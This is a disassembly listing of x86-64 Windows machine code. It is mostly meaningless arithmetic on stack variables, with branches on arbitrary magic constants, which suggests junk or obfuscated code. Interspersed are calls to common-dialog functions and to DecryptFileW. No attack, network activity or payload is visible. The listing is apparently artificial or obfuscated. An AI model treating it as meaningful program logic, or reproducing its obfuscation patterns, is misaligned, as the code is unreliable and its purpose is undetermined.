mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x44f8], rax
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
sub edx, eax
mov dword [0x1400dd314], edx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x1538]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1538]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x15660]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x3c18]
add edx, ecx
mov dword [rax], edx
mov rcx, qword [rbp + 0x45b0]
mov rdx, qword [0x1400dd318]
mov rax, qword [rbp + 0x3ce8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
add rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0xe28]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15700]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x50c4]
add eax, edx
mov byte [rbp + 0x221a], al
cmp dword [rbp + 0x15774], 0xbc3f
jne 0x14000b29f
movzx eax, word [rbp + 0x1316]
cwde
test eax, eax
je 0x14000b73f
cmp eax, 0x4bb4
je 0x1400c8180
jmp 0x1400c820f
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx eax, ax
test eax, eax
jne 0x14000b813
mov eax, dword [rbp + 0x2728]
mov dword [rbp + 0x1524], eax
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
and eax, edx
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx ecx, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx eax, ax
add eax, ecx
cmp edx, eax
jle 0x14000b7b7
lea rax, [rbp + 0x32a0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontW]
call rax
mov dword [rbp + 0x15160], eax
jmp 0x14000b8a4
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15120]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3d18], rax
lea rax, [rbp + 0x2378]
mov qword [rbp + 0x15650], rax
lea rax, [rbp + 0x1524]
mov qword [0x1400e1038], rax
movzx eax, word [rbp + 0x1316]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
jmp 0x14000b8a4
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x15740]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
lea rax, [rbp + 0x13a0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_FindTextW]
call rax
mov qword [rbp + 0x15100], rax
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x1286]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
or eax, edx
mov word [rbp + 0x27fe], ax
nop
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x33b8]
mov ecx, edx
shr rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
xor rdx, rax
mov rax, qword [rbp + 0x15650]
mov qword [rax], rdx
mov rax, qword [rbp + 0x27d0]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
and eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x156e8]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x1286]
sub eax, edx
mov byte [rbp + 0x50c4], al
movzx eax, byte [rbp + 0x50c4]
movzx edx, byte [rbp + 0x221a]
sub eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x9f0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x156b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0xe28]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3d18]
add rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2378], rdx
add dword [rbp + 0x15658], 0x21
mov rax, qword [0x1400e1038]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1524]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x27fe]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x3e7e], ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x44f0]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
or eax, edx
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1538]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
and eax, edx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rax, qword [0x1400e1038]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov eax, dword [rbp + 0x204]
add eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
add rax, rdx
mov qword [0x1400dd318], rax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
movzx eax, word [rbp + 0x36a6]
and edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
sub edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x1286]
sub eax, edx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x1524], eax
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x33b8], rax
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [0x1400e1038]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1316]
add eax, edx
mov word [rbp + 0x3e7e], ax
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
movzx ecx, byte [rbp + 0x221a]
movzx edx, byte [rbp + 0x1286]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
add rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rax, qword [rbp + 0x156a8]
mov rcx, qword [rax]
mov rdx, qword [0x1400dd318]
mov rax, qword [rbp + 0x3ce8]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x156b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x27d0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
xor eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3e7e]
or eax, edx
mov word [rbp + 0x1316], ax
cmp dword [rbp + 0x15658], 0x53e7
jne 0x14000b8a4
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
mov word [rbp + 0x27cc], ax
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rcx, rdx
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
add rax, rdx
cmp rcx, rax
je 0x14000be04
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15120]
mov qword [rax], rdx
jmp 0x1400c80b6
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov rax, qword [rbp + 0x156b0]
mov eax, dword [rax]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
add eax, edx
cmp ecx, eax
jg 0x1400c80b6
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
sub rdx, rax
mov rax, qword [rbp + 0x15650]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rbp + 0x4318], eax
movzx eax, word [rbp + 0x4dfc]
cwde
test eax, eax
je 0x14000beb9
cmp eax, 0x7b05
jne 0x1400c8069
movzx edx, word [rbp + 0x5dc]
movzx eax, word [rbp + 0x152c]
xor edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x221a], al
jmp 0x1400c8069
movzx eax, byte [rbp + 0x221a]
movzx edx, al
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov ecx, dword [rbp + 0x1524]
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x4830]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x2378]
add rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15120]
mov rax, qword [rax]
and rax, rdx
mov qword [rbp + 0x3d18], rax
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400dd310], eax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
sub edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
add eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3507], al
movzx edx, byte [rbp + 0x50c4]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
sub edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x152c]
movzx edx, word [rbp + 0x27cc]
sub eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x50c4], al
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x204]
mov rax, qword [rbp + 0xe28]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3c18]
mov r8d, dword [rax]
mov edx, dword [0x1400dd314]
mov rax, qword [rbp + 0x3c18]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov r8d, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [0x1400e1038]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15650]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x27cc]
mov rax, qword [rbp + 0x4148]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x3e7e]
mov rax, qword [rbp + 0x6c0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x9f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x24aa]
mov rax, qword [rbp + 0x9b8]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
sub edx, eax
mov dword [rbp + 0x3b8], edx
mov ecx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x15120]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x33b8], rdx
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, word [rbp + 0x1316]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
add dword [rbp + 0x15678], 0x1e
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
xor eax, edx
mov byte [rbp + 0x50c4], al
movzx eax, byte [rbp + 0x3507]
movsx edx, al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x1286]
mov rax, qword [rbp + 0xa70]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x156b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x27d0]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
sub edx, eax
mov dword [0x1400dd310], edx
mov edx, dword [rbp + 0x1524]
mov eax, dword [rbp + 0x2764]
sub edx, eax
mov dword [rbp + 0x3b8], edx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
add eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
and eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15740]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x15700]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x152c], ax
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
add rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rax, qword [rbp + 0xe28]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
xor edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [rbp + 0x2764]
mov rax, qword [0x1400e1038]
or edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x15678], 0xa21b
jne 0x14000bee1
jmp 0x14000c574
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x15120]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x27cc]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
add dword [rbp + 0x15730], 0x8e
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3507]
mov rax, qword [rbp + 0x9b8]
and edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x221a]
movzx edx, byte [rbp + 0x50c4]
sub eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
add edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x36a6]
add eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3d18]
add rax, rdx
mov qword [rbp + 0x44f8], rax
mov edx, dword [0x1400dd310]
mov rax, qword [rbp + 0x156b0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x194], edx
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x2378]
and rax, rdx
mov qword [0x1400dd318], rax
mov rax, qword [rbp + 0x15660]
mov ecx, dword [rax]
mov edx, dword [0x1400dd314]
mov rax, qword [rbp + 0x3c18]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x3507]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x24aa], al
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x27fe], ax
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x50c4]
or edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
xor eax, edx
mov word [rbp + 0x27fe], ax
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x156f8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x3ce8]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
add eax, edx
mov dword [0x1400e1030], eax
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2764]
add eax, edx
mov dword [rbp + 0x1524], eax
cmp dword [rbp + 0x15730], 0xf819
jbe 0x14000c34b
mov rax, qword [rbp + 0x15650]
mov rax, qword [rax]
test rax, rax
jne 0x14000c714
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
movabs rdx, 0x27ae1e90b3b69439
cmp rax, rdx
je 0x14000c6f3
movabs rdx, 0x539ffbfeee309f25
cmp rax, rdx
jne 0x14000c7c1
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x204]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x4318]
sub edx, eax
cmp ecx, edx
jle 0x14000c6d5
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
cmp eax, 0x79ba3dc
je 0x14000c6ab
cmp eax, 0x54bb3450
jne 0x14000c70e
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x15740]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
and edx, ecx
mov word [rax], dx
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x27cc], ax
lea rax, [rbp + 0x2c40]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ReplaceTextW]
call rax
mov qword [rbp + 0x3160], rax
movzx eax, word [rbp + 0x5dc]
movzx ecx, ax
movzx eax, word [rbp + 0x36a6]
movzx r9d, ax
movzx eax, word [rbp + 0x36a6]
movzx r8d, ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x14000c6f1
movzx eax, byte [rbp + 0x1286]
movzx edx, al
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
jmp 0x14000c6f1
lea rax, [rbp + 0x13a0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ReplaceTextW]
call rax
mov qword [rbp + 0x178], rax
jmp 0x14000c70e
jmp 0x14000c70e
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
or eax, edx
mov byte [rbp + 0x3507], al
jmp 0x14000c70f
nop
jmp 0x14000c7c1
mov rdx, qword [rbp + 0x4f88]
movabs rax, 0x59e261ba19b7eb50
cmp rdx, rax
jne 0x14000c7a3
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x12b0]
mov edx, 0x50
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileW]
call rax
mov dword [rbp + 0x15164], eax
mov rax, qword [rbp + 0x15660]
mov ecx, dword [rax]
mov r9, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x15120]
mov r8, qword [rax]
mov edx, dword [rbp + 0x204]
mov eax, dword [rbp + 0x194]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
jmp 0x14000c7bf
mov rcx, qword [rbp + 0x33b8]
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x26b8]
xor rdx, rcx
mov qword [rax], rdx
nop
jmp 0x14000c7c2
nop
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x1524]
add eax, edx
mov dword [rbp + 0x2728], eax
movzx eax, word [rbp + 0x32a]
cwde
test eax, eax
jne 0x14000c819
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rbp + 0x2080], eax
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x2378]
and rax, rdx
mov qword [rbp + 0x45b0], rax
movzx eax, word [rbp + 0x32a]
mov word [rbp + 0x10dc], ax
jmp 0x14000c86d
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x15108]
mov edx, 0x1c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileW]
call rax
mov dword [rbp + 0x150fc], eax
movzx eax, word [rbp + 0x27fe]
